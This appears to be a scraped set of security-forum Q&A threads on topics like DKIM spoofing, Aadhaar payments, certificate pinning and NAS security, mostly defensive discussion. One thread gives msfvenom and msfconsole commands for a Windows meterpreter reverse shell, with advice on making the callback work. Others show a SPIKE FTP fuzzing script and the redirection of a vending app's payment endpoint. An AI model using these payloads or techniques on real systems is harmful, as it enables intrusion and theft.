Forgot Password Vulnerability I visited my bank's website today with the intention of logging in to do bank stuff. I entered my username and hit enter on accident without entering a password. It took me to a page to select how I wanted to get my security code in other words the forgot password page. I selected my phone number to call me and upon entering the verification code, it took me to a page to reset my password.

I assume that many services implement a model similar to this but it seems fairly trivial to find a situation where someone used some sort of publicly accessible computer, whether that be at a coffee shop or some sort of work environment, to access their bank account and let the browser remember their username. Acquiring the phone might be a little more tricky but not impossible and because it is a phone call I don't need to know a PIN number to get in, I just have to be able to answer it when it rings.

Wouldn't an email with a password reset link be a better model?

Maybe I am oversimplifying the complexity of the problem, but it doesn't seem like someone with questionable motives would have to be that ambitious.

While less common, requiring something to physically be in your possession is a perfectly valid form of authentication. Many two-factor login systems use SMS or phone calls as a second factor.

  I assume that many services implement a model similar to this but it
  seems fairly trivial to find a situation where someone used some sort
  of publicly accessible computer

Public computers are never to be trusted for any sensitive work, ever. With public computers keyloggers (both hardware and software-based) are likely to be your most dangerous threat, and in that case the reset email is probably worse. By capturing your email login, the attacker would get access to any account that has password reset linked to that email.

So in short, both methods have their pros and cons. Which one is better depends on the kinds of threats you want to protect against.


Examples of hacking causing serious destruction or death We are fast approaching a world where self-driving cars are both a reality and common. See for example Uber's self-driving car pilot program in Pittsburgh and Google's continual self-driving car development.

As with any computerized system, self-driving cars are susceptible to hacking (and many cases of car hacking exist already). I forsee this continuing to remain a problem long after self-driving cars are common-place.

Now, it seems to me that once self-driving cars are common-place, the need for each car to completely drive itself might become unnecessary, and instead a natural development might be that cars communicate with a master computer(s) which guides all cars on the road (while the car itself handles the simple tasks like lane-shifts and distance maintenance). The benefit of course being that you get to command a fleet of cars as a system and they can all respond to problems/accidents in tandem and traffic can be controlled by a computer with more knowledge than a single car. Whether or not such a system is likely to develop is not the subject of this question, I merely provide it as an example for my question below.

If such a system were to be hacked, it could allow the hacker to cause untold wanton destruction and death (even more so than hacking a single self-driving car). It is this fear which I believe will be a major contribution to the push-back against self-driving cars (and any system which develops surrounding it, such as the one I described above). What I'm interested in are examples of computers or systems that exist today that are feasibly hackable and would allow the hacker to cause a similar or higher level of physical destruction and/or death as in the centralized self-driving computer example I gave above. Most hacking involves stealing money or personal information, but I want an example I can point to and say: Why are you so worried about this future technology when you have a parallel technology that exists today and hasn't been exploited as you fear this new technology might? Any expansion on how hackable your example system is (e.g., what would be required to hack it and how hard it would be) would be welcome.

All from DEFCON from the past:

Cesar Cerrudo on hacking traffic lights

Barnaby Jack also had a talk scheduled on hacking pacemakers, but he died before he ever spoke IIRC.


Security of the Indian AadhaarPay fingerprint based payment system? India recently launched a payment system where merchants install an app on an Android phone, and connects a fingerprint reader it.

Clients provide their Aadhaar number (like a national identity number), and scan their finger to authorize transactions which debit money from their account.

Is this a relatively secure system, compared to say chip and PIN cards?

I believe it would be possible to capture the users fingerprint using something to intercept the communication between the fingerprint reader and phone, and then replay the recorded fingerprint along with the Aadhaar number (which may be captured with a keylogger or even memorized by the merchant).

Is this fear justified?

I had this exact same doubt a few days back. But it's not possible to hack it in the way you've described. Since biometric data is encrypted, a man-in-the-middle attack is not practically possible.

But the problem is with manipulated biometric scanners. Aadhaar fingerprint scanners encrypt the fingerprint data before sending it over or even processing it. What can be done is, have a engineered scanner which does not encrypt the data by default. So one can store of the data .

It is up to the device which connects to the Aadhaar API to verify the validity of the fingerprint (By checking finger temperature, contour, etc. to prevent masquerading with fake prints). So if the POS device is manipulated, it can send perform as many transactions as it wants with the saved fingerprint data.


Should I be concerned if a Diffie-Hellman key generation is near instant? I'm a bit new to key exchange and security, so sorry if this is a stupid question. I'm setting up an OpenVPN server on my home router, and I did a dummy run just to see if I got it all up and running (dummy run being that I only created one client key pair first time round).

My question is this. When I went to do it a second time "for real", when I got to the part where I generate my DH key, it was generated near instantly. The first time I did it yesterday, it took at least a couple of minutes for my machine to generate it. I did it in the same environment and machine (a VM Linux), so I'm wondering why the difference was so much? Should I be concerned that the second DH key is less secure because it took a lot less time to generate? Sorry if this is a stupid question, I don't really have much idea of how cryptography works :/

My supposition given this information would be that the entropy ("true" randomness (or as true as is available to the computer)) source that the key generator was using already had plenty of entropy, likely because it was running longer or hadn't been tapped out already.

If you are concerned, you could regenerate until it generates slowly, but I don't think that is necessary.


Media files : how to protect from 0-day? I am in the following situation : media files (image, audio, video) are uploaded from untrusted sources and made public to visitors.

What are the best pratices for handling these potentially malicious files before they are served to users (to reduce the risk of infecting them) ?

One option would be to scan them with antivirus, but 0-days exploits would go through unnoticed.
I thought about re-encoding but the re-encoding software could be compromised too, so I doubt it will guarantee a clean output.

Is there any bulletproof way to scan these files for potentially red flags such as URL, DRM, scripts, binary, (anything else than pure media) content that I know have no reason to be included ?

Thanks !

There's no silver bullet for this, but the one reasonable approach is to convert all media into a canonical format in a sandboxed environment (e.g. a dedicated VM which is isolated externally and periodically restored to a known-good snapshot).

As an example, you might convert all videos to H.264 and AAC in an MPEG-4 container, using something like ffmpeg. You could also convert images to JPEGs and strip EXIF in the process using ImageMagick. The idea here is that corrupted files containing exploits would fail to convert, and any extraneous data would be stripped. Both of these packages would have to be kept up-to-date and you'd need to keep an eye on the bug trackers and release pages to ensure you're aware of common problems.

You can also run an antivirus solution to scan each video before attempting to re-encode it.


Understanding DKIM validation DKIM, as read by rfc4871, states to make address forgery more difficult besides protecting sender identity and integrity of the mail.

I have been searching for the details, which precise validation step prevents From:-header spoofing, counting in the fact that Dave Rand and Doug Otis of Trend Micro argue that there's a weakness in DKIM when prepending a second From: header. The opposite means that it's not possible with only one From:-Header.

Please uncover my error in my reasoning:

Assuming I am a spammer who has registered the domain spammailer.com
Because I'm the owner, I'm authorized to setup DKIM-records in DNS for domain spammailer.com.
Now I'm sending an email from my mailserver which has the private key to accounting@ibm.com:

Header:

Return-Path: <spammer@spammailer.com>
Received:...
Received:...
Date: Wed, 17 Oct 2018 15:11:08 +0000
From: virginia.rometty@ibm.com
To: <accounting@ibm.com>
Message-ID: <010001663008-25440000@spammailer.com>
Subject: pay rise of 5%
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=spammailer.com;
    s=bostonceltics; t=1519400838;
    h=from:subject:date:message-id:to:mime-version:content-type:content-transfer-encoding;
    bh=kpYel1IlDvqXEUc0SyIpXbMte3XpQOCXHl+zTyHQvGc=;
    b=NEUyWUoeKEoKAYTY8g04o73j+wrYUcEGSq7uwpbsAGo0OzuuIBluEfG1MbGF/Tf6yxxJB4
    gTDD3sqb19EsQxv39QsAwgddAz01Osw5LKU0MjLZpxw6NA8zLllJUsrNdNQAYSII9ip4xX
    ImU7+KFOEF+gmxR5aseUt5H6JT/aOmhPE9xsSyg9wLf0Bikyy5Cgh+Ay7AHQLMZogbTi9W
    dAPpZZcZs0pTwhcard6SaesypJ+xZNna+BA+C1vXrGDc+9stYZVi+Zufh6zlZo1E/sQSRL
    jowB1mjv1vjINRY30aq0rh4dT8RHe38/PKFf8vQHOSOKvjIKv984UeOTIFIUHw==

As far as I understand, the verification process now does the following:

getting the public key from the sender domain d=spammailer.com+separator
decrypting the DKIM signature with the spammer's public key which passes (I suppose!) because the mail is not altered in any way.

Now the recipient at IBM accounting recognizes that there's an email from the CEO which is displayed as the From:-address in most MUAs.

DKIM by itself does not protect against spoofing of the From: field in the mail header (i.e. RFC822.From). It only adds a signature which shows that significant parts of the mail header were not changed and that the mail passed through the mail server responsible for a specific domain.  In your specific case the DKIM signature shows that the mail passed through the mail server for spammailer.com but not through the mail server for ibm.com as proper mails from ...@ibm.com would probably do.

The protection against spoofing of the From: field is only added by DMARC. Providing that the mail domain has a DMARC policy (as ibm.com currently does which dig txt _dmarc.ibm.com shows) the receiving system can check if there is an aligned DKIM signature or SPF result. Aligned regarding DKIM means that the domain given in the from From: field matches the domain of the DKIM signature (either exactly or by allowing sub-domains, depending on the DMARC policy).


Metasploit reverse shell through docker and virtual box I am running metasploit on docker from: remnux/metasploit and I want to open a reverse shell on a virtual machine running windows 10 in virtual box. The docker container and the vm run on the same host machine with ip: 192.168.10.1

I go:

 sudo docker run --rm  -it -p 8080:8080 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

Then:

 msfvenom  -p windows/meterpreter/reverse_tcp --platform windows -a x86
 LHOST=192.168.10.1 LPORT=8080 -f exe -o file.exe

And fire up msfconsole:

msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
msf exploit(handler) > exploit

[-] Handler failed to bind to 192.168.10.1:8080:-  -
[*] Started reverse TCP handler on 0.0.0.0:8080
[*] Starting the payload handler...

Finally I open up file.exe on the windows10 machine and nothing happens. I checked that port 8080 was open on the host machine and that the vm could ping the host machine at 192.168.10.1

My virtualbox network configuration is set to bridged adapter.

Moreover I have no antivirus running on this vm and windows defender is down.

Does anyone have any idea to why this is not working?
Thank you in advance.

From my understanding you have the following:

192.168.10.1 (host machine)
192.168.10.2 (VM)
172.17.0.x   (docker w/ metasploit ... can be obtained via docker inspect <container id>)

Since you are running metasploit from 172.17.0.x you should instead set LHOST=172.17.0.x

This should work because the docker engine sets up a route on your host to direct traffic from 172.17.x.x to docker0 bridge

You might have to set this route in your local network router as well (172.17.x.x to 192.168.10.1)... because its possible your VM is not using your Host computer as a gateway ... and is instead talking to your actual network gateway (depends on how your VM is setup).


Are there any examples of huge damages done by password leaks, or bad password management policies? Everybody knows that a strong password is very important. However, I can't find any citable public example of any kind where a user or users suffered a heavy loss from using bad passwords, or their service provider handling them badly.

There was a study conducted by the Ponemon Institute and IBM in 2015 which estimated that the average information breach costs a business $3.79M, with an additional $1.57M in reputational damage.

Source: http://www.csoonline.com/article/2926727/data-protection/ponemon-data-breach-costs-now-average-154-per-record.html

However, it's really hard to determine whether these are caused purely by password security, or whether the incident was caused by some other vector of badness. There's one identifiable case of a bad password being used to cause reputational damage to NATO countries here:

https://www.schneier.com/blog/archives/2009/03/choosing_a_bad.html


Is there any mail service accepting real id? Most webmail services like gmail, facebook, yahoo,.. allow anonymous to create a mail address.

If there is a security breach, user may lost important information on that address. They may add phone number as a security layer, but even phone number can be lost and not guarantee security (in many countries, anonymous phone number is allowed, so who own that number is maybe a legal issue) and important address may have important info relating to business.

Is there any service allow for claiming an address with real ID?

An example is Italy's "Posta Certificata": a web mail that by law guarantees the recipient is a real person:

https://www.postacertificata.gov.it/home/index.dot

To activate it you need to go to a post office and provide an ID card.

This shifts the problem to a different domain:

ID cards and all their associated issues: how can we be sure that the Post Office operator knows how to recognize a fake ID? What if it's an insider job? Etc.
What if an attacker takes control of a citizen's web browser?

In the end your mileage may vary depending on what your definition of a real ID is.


What provides better safeguards against decryption/hacking: HTTPS or a well-made mobile app? In light of the recent WPA2 KRACK exploit (which many device and operating system vendors have yet to address or patch), consider all Wi-Fi connections to be unencrypted for purposes of the question.

On 1 side of the question: a browser web app using enhanced (owner-identifying) HTTPS (shows up as a green lock icon in Firefox)

On the other side of the question: a designated purpose-built mobile device app for the same service using its own encryption and authentication scheme

Assume the developers and admins for both the browser app and the mobile app are competent and vigilant - flaws and exploits in both are detected and fixed quickly. The browser app developers have no control over the browser being used (except marking specific browsers as unsupported or blocking them completely).

Which one provides better safeguards against unauthorized decryption and eavesdropping? Intuitively the mobile app should have stronger safeguards than a browser app as there have been known attacks against HTTPS where the browser is tricked into using a weak encryption scheme (in the most egregious cases, dropping encryption completely for certain elements on the page). A mobile app shouldn't have this problem considering the developer can specify a strong encryption scheme on both the client and server.

I think what you're asking for is whether Browser or Mobile App is more secure because HTTPS is used in both. Most mobile apps are similar to webpages and use JSON and Restful APIs. In that case, App is potentially more secure because you have more control on the client side, and you can use SSL Pining and the users can't be tricked with typosquating or something.


Is there a way to protect a supporting app against changing the REST endpoint? Vending machines at my workplace got recently changed and the new ones support an hybrid NFC\BT system to pay through a dedicated application.

Looking for online, I found some articles about this app being cracked and how it was done. Being several months later, I expected some new security measure to have been added so I decided to have a try and see if I could bypass them and repeat the process.

Original crack consisted of manually changing the data stored locally on a DB with a weak password, but since I don't have a rooted phone and I have found traces of HTTPS requests being performed with checks on consistency on the credit, I decided to go another way.

Assumin vending machines do not connect online, I changed all the references to the remote REST endpoint (plain string constants) with a server of my own and I have successfully been able to login (or at least, make the app believe I logged in).

Now, assuming I fill the gaps and will be able to successfully buy stuff, is all this worth sharing with the developer, to have them take further security measures? Is there something serious they could do that would not require completely changing the infrastructure?

Now, assuming I fill the gaps and will be able to successfully buy stuff

That's a pretty big assumption. But if the app does have enough information locally to command a vending machine to dispense product, this suggests that the vending machine may not be performing any complex validation locally, and that the mobile phone has been left in charge of security. (Or that the vending machine is only validating the presence of the mobile app, not the involvement of the server.) If so, this may be hard to fix.

A reasonable security architecture for an application like this would run along the lines of:

The vending machine generates a nonce which includes its serial number and some random data, referred to as the "token".
The mobile phone retrieves this token from the vending machine and passes it on to the web server, possibly along with other data like payment information.
The web server verifies that the user has paid, then signs the challenge with its private key and returns it to the mobile phone.
The mobile phone passes the signed token on to the vending machine.
The vending machine verifies the signature on the token using the server's public key (which it has stored internally), verifies that it has not seen the token before, then dispenses product.

Since the vending machine will not accept a token which isn't signed with the server's private key, and it will not accept a token that came from another machine or which was already used on the same machine, there's no way to get it to dispense product without going through the intended workflow.

(The use of a nonce is required to prevent a user from reusing a token which was previously used, either for the same machine or another one.)


Does an ISP monitor user browsing history without a subpoena? I understand that an ISP has the ability to monitor a user's Internet browsing history, but do they actually do it without a subpoena/court order? And if they do, does the user's history look exactly how the history tab in Chrome looks, or is it categorized by site/date/something else

I understand that an ISP has the ability to monitor a user's Internet browsing history

The ISP can monitor your current activity but not your history. It might of course save the results of this monitoring for later but it will for example not be able to see which sites you've used on your laptop while using some public Hotspot not covered by this ISP.

Also, it is limited what your ISP can see. He would be able to see which sites you access and with more efforts also URL and exchanged data if no encryption is used (i.e. HTTP) but if you visit HTTPS sites he will only be able to see which site you visit but not the actual content or full URL.

For more details look at the many what can my ISP see questions on this site.

  do they actually do it without a subpoena/court order?

This depends on the local law if the ISP is allowed to do this (you might check at law.stackexchange.com). But it is known that some ISP not only monitor the traffic but also modify it to inject advertisements. And some see selling the browsing history or the profiles generated by this as an additional way to make money from their customers (of course, it is only for your best so that you get advertisements which you actually want to see).

  does the user's history look exactly how the history tab in Chrome looks, or is it categorized by site/date/something else

I'm pretty sure that it does not like in Chrome since this interface is not suitable for fast and large scale analysis. It might not even be some nice GUI because maybe they use some pattern matching on the console (green text on black background of course, as all hackers do). Or it might be some fancy futuristic interface where they can drill down quickly to every image you've ever downloaded through your browser. But whatever you imagine as fancy interface - it will probably be different to it and instead just some seemingly boring interface.


Nessus keeps detecting mDNS I’m scanning my Windows 10 machine with my Kali Linux virtual box. I have a medium level vulnerability with mDNS. The solution according to the Nessus docs is to block UDP port 5353 even though the mDNS service was broadcasting from port 49898 from a process called nvstream. I rescanned my Win10 OS just to make sure. Nessus keeps telling me I am still vulnerable even though I followed the solution. Other forums suggested other things

Here is what I have done according to other solutions on other forums and blogs.

Blocked UDP port 5353
Blocked TCP port 5353
Blocked UDP port 49898
Blocked TCP port 49898
Uninstalled Bonjour
Tried to uninstall Nvidia Stream, but it was never installed to begin with
Disabled print sharing
Disabled NetBios
Turned off DNS multicasting in the Group Policies

It’s still vulnerable according to Nessus. What do I do?

Uninstalled Nvidia 3D Vision.

Didn’t realize 3D vision was the drivers for their 3D glasses. Thought it was one of their critical 3D graphics drivers. It made sense for that to sync with something as convenient as mDNS.


Why avoid shared user accounts? I know its best practice not to allow shared user accounts, but where is this best practice defined? Is it an ISO standard or something? What is the reasons to always create per person accounts?

Alice and Eve work for Bob. Alice is a very good worker who does exactly what Bob asks her to do. Eve is a criminal mastermind hell-bent on destroying Bob's company.

Alice and Eve both share the same account.

Eve logs into the account and uses it to sabotage an important business process. The audit log captures this action.

How does Bob know who sabotaged his company? He has to get rid of the bad actor, but can't fire both of them, because his company depends on the work that they do. He could fire just one, but he has no way of knowing which one is his friend and which one is his enemy.

If Alice and Eve had separate accounts, Bob could be sure that Eve was the one who did the sabotage. Eve might even avoid doing the sabotage, if she knows her account will be audited and she will be caught.

EDIT: Adding from comments:

If Eve quits, you now need to reset the password on every account she had access to, rather than just disabling her personal accounts. This is much harder to manage, and you will miss accounts.

Additionally, it removes your ability to have granular control over access. If Alice should be writing checks, and Eve should be signing them, you essentially have no technological way to enforce that if they share the same account.

Also, it makes it harder for a given individual to notice malicious changes to their environment. Alice knows what files are on Alice's desktop. Any new files will likely raise a red flag for her. Alice doesn't know what files are on Alice and Eve's shared desktop. It is likely new files will be met with a shrug and an assumption that another user put it there, not a malicious actor.


Can a virus destroy the BIOS of a modern computer? In the late 1990s, a computer virus known as CIH began infecting some computers. Its payload, when triggered, overwrote system information and destroyed the computer's BIOS, essentially bricking whatever computer it infected. Could a virus that affects modern operating systems (Like Windows 10) destroy the BIOS of a modern computer and essentially brick it the same way, or is it now impossible for a virus to gain access to a modern computer's BIOS?

Modern computers don't have a BIOS, they have a UEFI. Updating the UEFI firmware from the running operating system is a standard procedure, so any malware which manages to get executed on the operating system with sufficient privileges could attempt to do the same. However, most UEFIs will not accept an update which isn't digitally signed by the manufacturer. That means it should not be possible to overwrite it with arbitrary code.

This, however, assumes that:

the mainboard manufacturers manage to keep their private keys secret
the UEFI doesn't have any unintended security vulnerabilities which allow overwriting it with arbitrary code or can otherwise be exploited to cause damage.

And those two assumptions do not necessarily hold.

Regarding leaked keys: if a UEFI signing key were to become known to the general public, then you can assume that there would be quite a lot of media reporting and hysterical patching going on. If you follow some IT news, you would likely see a lot of alarmist "If you have a [brand] mainboard UPDATE YOUR UEFI NOW!!!1111oneone" headlines. But another possibility is signing keys secretly leaked to state actors. So if your work might be interesting for industrial espionage, then this might also be a credible threat for you.

Regarding bugs: UEFIs gain more and more functionality which has more and more possibilities for hidden bugs. They also lack most of the internal security features you have after you have booted a "real" operating system.


How to fuzz on FreeFloat FTP server using SPIKE Fuzzing? I would to seek help on using SPIKE fuzzer to fuzz an FTP server which I am testing on Freefloat FTP server but do not have idea on how to work on. As I research and tested out many different types of SPIKE fuzzing scripts to do fuzzing on FTP server but the server was not able to crash.

As I try some of the scripts like:

s_readline(); s_string("USER "); s_string_variable("COMMAND"); s_string("\r\n"); s_string("PASS "); s_string_variable("COMMAND"); s_read_packet();

When I ran the script using the 'generic_send_tcp' and also opened the wireshark to capture the traffic, the script does make the server crash. But the issue is that when I look into the first packet of the traffic it shows this:

500 'USER COMMAND' command not understood\r\n

But this wasn't the part that causes the server to crash. As if the first packet successful, it suppose to make it true to the password and it will state '230 User logged in'. But it couldn't manage to pass through till the password stage.

So I would like to seek help anyone that could please assist me in this problem. As I really tried many different methods but could manage to work.

Sorry I cant help directly with the SPIKE component but how do you know that the FreeFloat FTP server is even insecure and will crash? It may be well written and able to handle everything that SPIKE throws at it.

In the mean time, metasploit has great FTP fuzzing modules that I have used in the past with lots of success.

http://www.metasploit.com/modules/auxiliary/fuzzers/ftp/ftp_pre_post


Should we release the security issues we found in our product as CVE or we can just update those on weekly release notes? We are a vendor providing a product that is being used in enterprises. We know that those companies having periodic CVE scans on products they are using part of their vulnerability management process. My question is, do we have to raise a CVE if our own security researcher found a vulnerability in our product or we can just raise this vulnerability in the weekly security updates we publish in our official website?

You can do either, but I recommend applying for a CVE so that customers who get threat intelligence feeds are more likely to notice the issue and expedite a patch. Assigning a CVE also makes it easier to reference a specific vulnerability in general communications if you need to later. It's also a signal to your customers that you take security transparency seriously.

CVEs are assigned and managed by MITRE, and you can use the CVE application form to make a request.


Why isn't the arp cache locked for the gateway by default? So one way to prevent arp poisoning is to lock the associated entry in the arp  cache for the gateway. My question is, why isn't this done by default? What are the drawbacks? I was thinking that you would not be able to connect to a new network, but couldn't you unlock it ONLY when you're connecting to a new network and lock it immediately after?

One very large drawback is that MAC addresses are by default assigned by the vendor in their production process. This means that every network interface has a unique MAC address. Now imagine the scenario where you need to replace that gateway due to a hardware defect. A new device will have a new MAC address, so unless its software allows to to manually set its MAC address (and your remember to do so during an outage), you need to manually update the ARP table on every single device connected to it. And those devices may not even be in your control.

Another argument is that as I pointed out many devices allow you to change its MAC addresss. So if they change it into the same MAC address as the gateway, you still would be vulnerable to ARP poisoning, it then all depends on the order in which ARP replies are received by the clients and how they handle them.


How could a comments plugin be securely loaded from domains people are already logged into? The fundamental idea is to load a blog comments plugin (like Disqus) from a domain someone is already logged into to save users time and increase engagement.

I like the facebook comments plugin because people are usually logged into facebook, but not everyone is keen on having their comments go through facebook and be locked into their 'walled garden'.

Organizationally and technically, how could a generic comments page be loaded from a domain someone is already logged into (like FB and Google) in a secure manner?

Since the frontend code for a comments plugin is already publicly viewable, it only makes sense for it be fully open source on github. Big sites would then have to review and pull the latest changes and host them on their domains.

Technically:
By default, a blog could be set to load the comments iframe from a big site like facebook or google. If the person was not logged into that domain, instead of being prompted to login, they would be redirected to google, and so on and so forth until a domain just isn't being found. Only then would a user be asked to login with one of the services.

Also, since this would be pretty magical/mystical to a user it would be important to show "Logged in through facebook.com" with the option to login through a different domain (or maybe connect/merge accounts)


File encryption with AES-256-CBC vs Chunk encryption I'm basically designing a protocol that requires a synchronous and ordered file transmission from a server (implemented in Node.js) to a device, over TCP. Streaming the file is not an option, so each file chunk is encapsulated in a message that has other non-encrypted fields, which are out of scope of this question.

One of the requirements is that the file contents can not be sent in plain text, so an encryption scheme had to be chosen, in this case I opted for the AES-256-CBC, assume for the purpose of this question that the algorithm can't be changed.

Due to device constraints (RAM ~10KB), it's required to split the file (<5 MB) into chunks, that will be then sent to the device according to the mentioned protocol, following a send / [ack|repeat] scheme. On reception, the device is able to store the chunk on disk.

So my main question here is that in the backend I have to choose between:

Encrypting the complete file and then split it into chunks

-> On reception device would append each chunk in a file and then decrypt it when all chunks were received.

vs

Dividing the file into chunks and then encrypt each of them.

-> Requires the sending of the Initialization Vector (IV) used on each chunk encryption in order to decrypt it.

-> On chunk reception the device would have to decrypt the chunk or store each of them with the respective IV and then decrypt them after receiving the last chunk.

The goal here is to understand what security issues arise from each approach and also an overhead comparison between them.

PS: I also have an integrity validation scheme but is out of the question's ambit.

Security wise, I don't see there is any difference.

Since integrity and availability are assumed to be handled properly, the only concern is confidentiality. Solution 1 uses only one IV, assuming you can generate good IVs (random and long enough), then that is fine. Solution 2 uses multiple IVs but they don't add more to security (IVs are all public). Indeed IVs are used to randomize ciphertext so that the chosen plaintext attack is not possible. One IV for the whole file is sufficient for this purpose. In solution 1 all data is encrypted under one key. This is the same in solution 2. Then confidentiality boils down to the security of this key. There is no difference in both solutions.

There might be some difference when it comes to performance. Solution 2 allows encryption and decryption to be done in parallel. This is not the case in solution 1. On the other hand, solution 2 requires slightly more space/computation/bandwidth due to the additional IVs.


Higher risk of no certificate pinning on mobile apps vs web apps? Talking with people, it is frequently considered that having a mobile application without certificate pinning is a vulnerability. But i rarely see people mentioning it for web applications.

The question is, why is this issue only mentioned for mobile apps? Is there a higher risk derived out of this vulnerability on mobile apps?

Thinking about it, considering that the degree of difficulty is about the same for installing a rogue certificate on both pc and mobile, i would say that the vulnerability should exist in both cases, but in the case of web apps, there would be no remediation action since the hpkp which i think is the only way to achieve cert pinning is becoming obsolete.

Now none of the people i've talked with could give some reasonable explanations, so that's why i wanted to see if there is indeed any good justification for the mobile cert pinning.

TL,DR: The protection of certificate pining is the same: almost none.

The risk is essentially the same, and Certificate Pining is not something that will deter any determined attacker. As soon as part of the code is not executed inside your own environment, you have no control whatsoever. Just look at all blockbuster games and their protections, and the myriad of cheating tools bypassing every single protection: anti-debugging, certificate pining, checksumming, and everything else.

In case of web applications, pining is mostly pointless because the attacker will have the entire source code readily available all the time, and every browser ships with a full fledged debugging environment. In this scenario, certificate pining will be defeated with a well placed breakpoint and a variable change.

On a mobile application, the path is a little longer. The attacker will usually need a rooted or jailbroken phone, and will change the application to use another certificate, or to bypass the check. Either way, isn't nothing a dedicated attacker would have any difficulty doing.


Why is the issuer name field signed in X.509? In the X.509 specification it sais that the issuer name is to be signed.

Since we verify the certificate with the authenticated issuer's public key, it seems infeasible to forge the issuer name anyways. A different issuer name would lead us to choose a different entities public key which would never match the signature.

Could somebody please shed some light on this for me?

Everything in a certificate is signed. It is much simpler to sign the whole lot than to sign only parts of it; skipping the issuer name would not gain much anyway (the hashing part of the signature is really fast).

We can imagine a sort-of-X.509 with the issuer name being excluded from the signature; it does not seem, at first glance, to be terribly weaker, but this would deserve a lot of serious investigation to be sure of it. Since there is very little gain in excluding the issuer name from the signature, the exercise would be rather pointless.


What about AD2P vulnerability? My goal is to create a simple one-way intercom using B Speech TX2 and B Speech RX2, an Audio2Bluetooth and Bluetooth2Audio converter.

My question is, how secure is the audio(in my case voice) being transmitted via AD2P using this setup? Can other people in bt-range easily listen to what I say?

Or in other words: How do I test it for vulnerabilities?

Bluetooth 2.1 and forward require encryption on all connections other than service discovery.  A key is exchanged during pairing and used for all future service delivery.  If your hardware is using a standard prior to 2.1, then it is possible it could use an unencrypted connection, but otherwise it is guaranteed to use encryption.

In fact, the NSA has even has a post that says they have found it secure enough for unclassified government use, so they don't see any critical flaws in the encryption.  So as long as you use encrypted connections, you should be secure.  The chances of a sufficiently advanced attacker to be able to hook in to it are pretty much non-existent if used and paired properly.


WebRTC security & encryption I am building a WebRTC application, and really concerned about security.

I have read this quite interesting article : https://webrtc-security.github.io

As I am far from being an expert in networking security, I just want to confirm that I am doing it right, and what things should I potentially worry about.

Origin

The WebRTC "room" is hosted on a website over HTTPS (LetsEncrypt).
I force the JavaScript APIs to generate ECDSA certificates whenever possible (not exactly aware of the role of those certificates however?!)

Signaling

I built a websocket signaling server accessible over WSS.
This signaling server needs to receive an "authentication" special message, containing a valid RFC7519 JsonWebToken (checking origin and expiration), before it actually allow to forward SDP offers, answers and ICE candidates. All JWT are encrypted with a 4096 bits private key.
Once authenticated, this JWT is no longer needed, as the WebSocket server will consider a connection as authenticated untill disconnection

Networking

I have set up a TURN server (resiprocate-turn-server) using TLS aswell, accessible for STUN and TURNS protocols :

stun:stun.my-domain.org:3478

turns:turn.my-domain.org:5349
(requiring valid username and password)

Should I restrict the access to this STUN server to some domaine origins ?

As a web developer, do I need to worry about kind of MITM attack (actually any kind of attack?)

This is actually a really good question, and my answer is I am not 100% sure ... so I will tell you what I know and what I suspect and how to test it.

First off, if you are using WSS your server end is good to go.  Using WSS over WS is effectively the same as using HTTPS over HTTP.

Now the tricky part ... If you have clients A & B both connecting to server C with WSS ... and then you use STUN & TURNS, I would suspect that A would connect to B with the same WSS connection that each of them was previously using for connection with server C.  Key Word being SUSPECT

Since I dont have a https enabled STUN & TURNS server readily available to me for test, I personally can not test it and tell you everything is fine.  However, if you put wireshark on clients A & B you should be able to monitor the traffic between them ... and if it is not coming across the line using clear text ... then yes, the encryption holds.


How secure is NAS server in LAN (wi-fi enabled)? I've seen this question about NAS security over the Internet and I'm wondering how safe the thing is in LAN?

I'm planning on replacing my old, desktop Windows-based PC with a NAS, I was thinking about something like WD My Cloud 2 TB or if it will be worth maybe Synology DS216j, anyway I'm kind of scared of the whole idea.

My network is almost always used via wi-fi (two Macbooks) and I'm scared that someone eventually will break to my network (which is not really that tricky considering wifi is always on) and will be able to access the NAS or even wipe its drive, or encrypt it. Surprisingly I feel quite safe with my Windows-based PC because my machine is almost never turned on, it's always up-to-date and I don't even share any drives over the network (i just turn it on if I want to access the files).

I'm not planning to access my NAS over the Internet, it will be only used locally, behind the router, but still, I don't feel really safe about the idea, I'm going to store quite important stuff there, like pictures and videos from many trips, documents etc. There will be backup in place, but I still don't want anyone to have access to it.

I'm wondering if it's possible to make NAS really secure in my LAN? I was thinking about that and the best idea I came up with is enabling access to the NAS only for computers connected directly to the network (using RJ45 cable) not the wi-fi ones, but can NAS really tell you're a wi-fi client (after all it's connected via cable to router)? Any other ideas? Or maybe I'm panicking over nothing?

The Synology NAS's are very cool. I've just doubled the RAM on my 412+ as I tend to run too many services on it.

It is, of course, possible that someone could break into your Wi-Fi and then into the NAS and do nasty things. However, if you have a well set up Wi-Fi and have configured the NAS with decent security (e.g. on the Synology, I use the internal firewall to ensure that no unencrypted connections are allowed) then the risk is minimal.

In fact, it is statistically far more likely that you will be burgled, have a fire or flood or even earthquake (well maybe the latter only in certain regions)! So the main problem is one not related to a NAS but rather related to having valuable data at home. Loss through one of these or through disk failure is vastly more likely than a Wi-Fi hack for the majority of people.

So no matter what you are using to serve up your precious files, you really must also use off-site, secure backups. An advantage of at least some of the Synology devices is that you can persuade them to run Crashplan which generally remains the cheapest secure cloud backup if you need more than a few 10's of GB. They can also connect to a wide variety of alternatives including other Synology or other remote backup devices.

As mentioned, the Synology software includes an internal firewall which is easily configured to restrict connections from specific source addresses if you want to do that, it will add a little extra protection though honestly is almost certainly more hassle than it is really worth.

If you want to restrict to wired only connections, you will need a way to either limit the IP addresses of wired connections (through manual setting or DHCP fixed addresses depending on your router) or a way to put Wi-Fi through a separate VLAN. Either of these options will depend on having a decent router.

In general though, if you have a backup and set sensible defaults on the NAS (decent user passwords, encrypted connections only), that should be more than enough unless you live in a particularly vulnerable location or have particularly sensitive files.

Final note: I am not familiar with the WD NAS's only the Synology's.

UPDATE: For the specific requirements you've mentioned, the Synology would be an excellent fit I believe (possibly a QNAP device and others as well but I can't comment on those I'm afraid). Any of the NAS's will give shared drive access from Mac, Linux and Windows with the restrictions you mention. Certainly the Synology will let you set up any number of "shares" (shared logical drives) all with different security. You might also want to set up users on the NAS so that you can give different access to different people. Otherwise you just set up yourself and a guest account.

However, I recommend you work out how you will backup the data before you invest in the device.

